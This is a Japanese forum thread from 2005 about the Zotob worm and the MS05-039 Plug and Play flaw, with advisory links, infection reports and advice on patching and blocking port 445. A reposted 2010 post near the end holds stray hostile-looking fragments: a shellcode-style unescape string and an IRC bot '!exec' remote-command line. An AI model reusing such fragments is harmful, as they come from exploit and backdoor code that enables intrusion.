【ワーム流行中】zotob【TCP445】

Zotob に関する情報
ttp://www.microsoft.com/japan/security/incident/zotob.mspx

「プラグ＆プレイの脆弱性」悪用する危険度「中」のワーム――トレンドマイクロ
ttp://www.itmedia.co.jp/enterprise/articles/0508/15/news019.html

全米にウイルス被害拡大　日本企業への影響懸念
ttp://headlines.yahoo.co.jp/hl?a=20050817-00000042-kyodo-bus_all

まりすみぜる

[Symantec]
W32.Zotob.A
ttp://www.symantec.com/region/jp/avcenter/venc/data/jp-w32.zotob.a.html
W32.Esbot.A
ttp://www.symantec.co.jp/region/jp/avcenter/venc/data/jp-w32.esbot.a.html

[McAfee]
W32/Zotob.worm
ttp://www.mcafeesecurity.com/japan/security/virXYZ.asp?v=W32/Zotob.worm
W32/IRCbot.worm!MS05-039
ttp://www.mcafeesecurity.com/japan/security/virI.asp?v=W32/IRCbot.worm!MS05-039

[Trend]
WORM_ZOTOB.A
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_ZOTOB.A
WORM_ZOTOB.D
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_ZOTOB.D
WORM_RBOT.CBQ
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_RBOT.CBQ

@police
Microsoft Windows プラグ アンド プレイの脆弱性（MS05-039）を
悪用する攻撃コードの検証結果について(8/16)
ttp://www.cyberpolice.go.jp/important/2005/20050816_162729.html

ISS : AlertCon 3
ttps://gtoc.iss.net/issEn/delivery/gtoc/index.jsp

us-cert
ttp://www.us-cert.gov/current/archive/2005/08/16/archive.html#zotob

jp-cert
ttp://www.jpcert.or.jp/at/2005/at050008.txt

おせーよ

>>5
だよね
ﾆｭｰ速で昨日からやってる

当面age進行で

>>5>>6
そう思ったら先に立てろよ。
昨日の時点でスレ立てる必要があったかは知らない。オレはさっき共同が一般ニュースで
配信したことに鑑みて単独スレがあるのが妥当だと思ったまで。

象飛ぶ

とりあえず>>1乙です

昨日今日と何回もノートンのアップデートしてるんですが
これのせいなんです？

珍しく告知来た直後にうｐだてしててﾀｽｶｯﾀ

445てアレでしょ
普通にサービスで止めるんじゃなくて
ドライバ扱いの厄介な・・・・だったと思う　MS氏ね

全米にウイルス被害拡大　急速感染、ＦＢＩ捜査へ
http://www.sankei.co.jp/news/050817/kok021.htm
米マスコミ・連邦議会のパソコン、ウイルス感染
http://www.yomiuri.co.jp/world/news/20050817i504.htm
新種ウイルス：危険度高で注意呼び掛け　マカフィー
http://www.mainichi-msn.co.jp/keizai/wadai/news/20050817k0000e020050000c.html
米で新種ウイルス、有力企業やメディアに被害
http://it.nikkei.co.jp/security/news/index.aspx?i=2005081701923ca
全米にウイルス被害拡大
http://www.chunichi.co.jp/00/detail/20050817/fls_____detail__027.shtml

なんでアメリカだけ？
１秒もかからず日本に来れるじゃない
わざわざアメ公向けにIP範囲限定してる？

日本がサイバーテロやワームでは騒ぎにならない国民性だって事を犯人も知ってるのさ。

単純にスキャン・ルーチンの問題だろ

第1、第2オクテットを元に感染先を探すタイプらしい。

あぼーん

うちの会社でもｗｉｎ2000のＰＣが根こそぎイカれてる

多分日本の企業はイメージが悪くなるのを恐れて(セキュリティの甘さ)公表してないんじゃ?

うちの会社は平気だよ。まだ。

ｗｉｎ98seは大丈夫？

ルーターで445と135-139は閉じてる
こうすればOSの再インストールでも焦りなし

末端SEとしては盆休み取らなくて正解だったな
システム部のセキュリティはアテにできんしな
（・∀・）ｱｯﾊｯﾊｯﾊ・・・・　　　orz

すでに感染してたorz

パッチ当て予定・・あさっての昼だったりする　orz

どうやらZoneAlarmがブロックしてくれているみたいだ。

このスレとは関係ないかもしれんが、
ここ数日、ポート5555をノックしてくる方も増えていますよ・・・

今日、事務所のワークグループ共有に入れなかった
（リソース不足云々の警告が表示されてた）
netastatで見たら、NTws4.0機がワシの仕事機のポートを叩きまくっていたよ (´･ω･`)

まぁ、NT4.0機のLANケーブル抜いたら治まった訳だが。

NT4.0も感染するのかのぅ、パッチは無いようだし ('A`)ﾊｧ

企業って普通ルーターで、ワームが狙うポートを塞いでるんじゃないの？
やらないところは理由があるんだろうか

>>29
確かにルーターで外部からの感染は防げても、
他所で感染したPCを社内LANに
接続する素晴らしい方々がいらっしゃいます
最大のセキュリティホールは人ってことで

>>29
会社のLAN接続PCでAirH"や携帯でおつなぎになる方もいらっしゃいます

2年前のBlasterであれだけ痛い目に遭ったのに、何も対策練らなかったのか？

>>32
痛いという感覚の麻痺こそが最強のセキュリティ。

>>31
まじかよ、そーゆーやつには気をつけないと。
うちはドメイン組んで、ユーザー権限とグループポリシーでがちがちに制限してるけど、
この状況でも感染する可能性はあるかな？

従業員数・個別システムが多いほど、
セキュリティシステムは妥協の産物となる。
最終的には各個人（クライアントPC）単位で
どうにかするしかない。

>>28
Win32アーキテクチャ全滅らしいが。

>>34
ローカルAdministratorでログオンできれば可能でしょ
もし、ローカルAdministratorでもグループポリシーをかけるほど気合いれているとしても
はずす方法を知っていれば何でもできる
そこまでするやつがいるのかどうかは別だが

悪意のあるソフトウェアの削除ツール 更新
更新日 : 2005 年 8 月 18 日

http://www.microsoft.com/japan//security/malwareremove/default.mspx?notification_id=38&message_id=38

うちの会社は昨日の夜には全部復帰したよ

ＤＮＳ鯖までイカれたおかげでwin2k、xp以外のＰＣまでログイン時に｢メモリ不足〜｣

しかもＤＮＳ鯖を放置で末端のマシンから直してやがるし、、、

何故全部切断して直さないのかと

感染しとらんかった ヽ(ﾟ∀ﾟ)ﾉ

ただの暴走でポート叩きまくっていてのかのぅ。
こんどは、Win2000機がポートをｺﾝｺﾝしている訳ですが、
　踏　み　台　で　す　か　？

パッチ配布前に流行おわっちゃった・・orz

MS05-39は、とりあえずインスコしなきゃね

はやくゼロデイ攻撃おこらないかなー
難癖つけてパッチ当てようとしない、
そのくせ代替策を案じることをしない危機意識の低い連中をを軒並みぶっ潰すのだ

>>43
ゼロデイアタックされるときは、パッチも出ていないんだがな

語弊があった。
ゼロデイ攻撃でひっかかる連中はたいてい「難癖つけてパッチ当てようとしない〜」だろう、と言いたかった。

新ウイルス、週明けは要警戒　ウインドウズ欠陥狙う
ttp://www.asahi.com/life/update/0820/003.html

なんか、一週間ずれている気がしないでもないな

とりあえず、70.20.27.115 との送受信をLOG&DROPしておけば、
内部の感染は検知できる？

使ってる古いパソコンが見事にこれに感染して
勝手に電源落ちるようになってしまった・・・・

これはどうすればよいのか教えて！！

>>48
セーフモードで起動して駆除汁！

ネットワークに繋げられる状態だとセーフモードでもログインの時に弾かれると思ったけどどうかな?

別のＰＣで駆除ツールとパッチをＣＤＲに焼いておく。
感染してるＰＣのＬＡＮケーブルとか引っこ抜いて立ち上げ。
↓
駆除&パッチ当てじゃないでしょうか?

韓国サイトから日本エロ動画300本耐久ﾀﾞｳﾝﾛｰﾄﾞってのやってるのですが
動画ファイルはウイルス大丈夫ですか?

こんなウイルスに比べれば、キンタマや山田の方が100倍怖い
万がいち感染したら人生棒に振る可能性があるからな

くすくす

ttp://www.itmedia.co.jp/news/articles/0508/27/news011.html
Zotobワーム作成の容疑者、トルコで逮捕

ウイルスのなんか感染する奴は童貞

日本語不自由なヤツは童貞

はいはいゾトブゾトブ

ポート445ってどうやって閉じるの？
デバイスマネージャーでNetBios over Tcpipを無効にして
PCを再起動すると
IPが習得出来なくなるのですが
教えてくださいお願いします。

>>58 まずは、ＯＳを特定しないと。。。 linux ?　(w

ろそりりりりり

るるるっるるるるるるる

ほす

　

4 ：ｚ：2010/08/28(土) 10:25:02 ID:NtVfNVmU0
452 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:53:49.30 ID:7Cr427LS0
>>440
・プロバイダの新しい有料メールアドレス
・ジャパンネットバンク銀行の使い捨て番号のVISAデビット
ニ.フ.ティ.ーの100円のメアドプラスで認証が通った。
認証できたら、メアドプラスは登録解除してOK。
普通のクレジットカードでは漢字の住所が登録できたが、
ジャパンネットバンク銀行のVISAデビットだとローマ字入力の住所を要求された。

ローマ字の書き方はこれ
ヘボン式ローマ字綴方表
http://www.seikatubunka.metro.tokyo.jp/hebon/

漢字住所でどんな順序でどんなローマ字、番地の番号を使ったかは、
メモ帳でメアド・パスワードと一緒に控えておいたほうがいい。
453 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:55:00.00 ID:t966sYmN0
ローマ字変換
eip=eip+unescape("%u7030%u4300")
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-
http://www2u.biglobe.ne.jp/~yuichi/rest/kanarome.html
454 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:56:54.59 ID:qfPgiwgp0
●買うなんて荒らしと一緒だぞ
455 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:58:50.21 ID:d455Pgrw0
荒らしが運営に喧嘩売っても被害を被るのは巻き添え食らってる人だけっていう…
荒らしたもん勝ち
456 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:58:54.30 ID:sPPrGi160
荒らしが●を買ったんだとしたら、個人情報登録してるんじゃないのか？
それで同一名義のアカウント全部停止するとか、
新たに買おうとしてきても拒否するというのはできないんだろうか？

今はもう終息？

test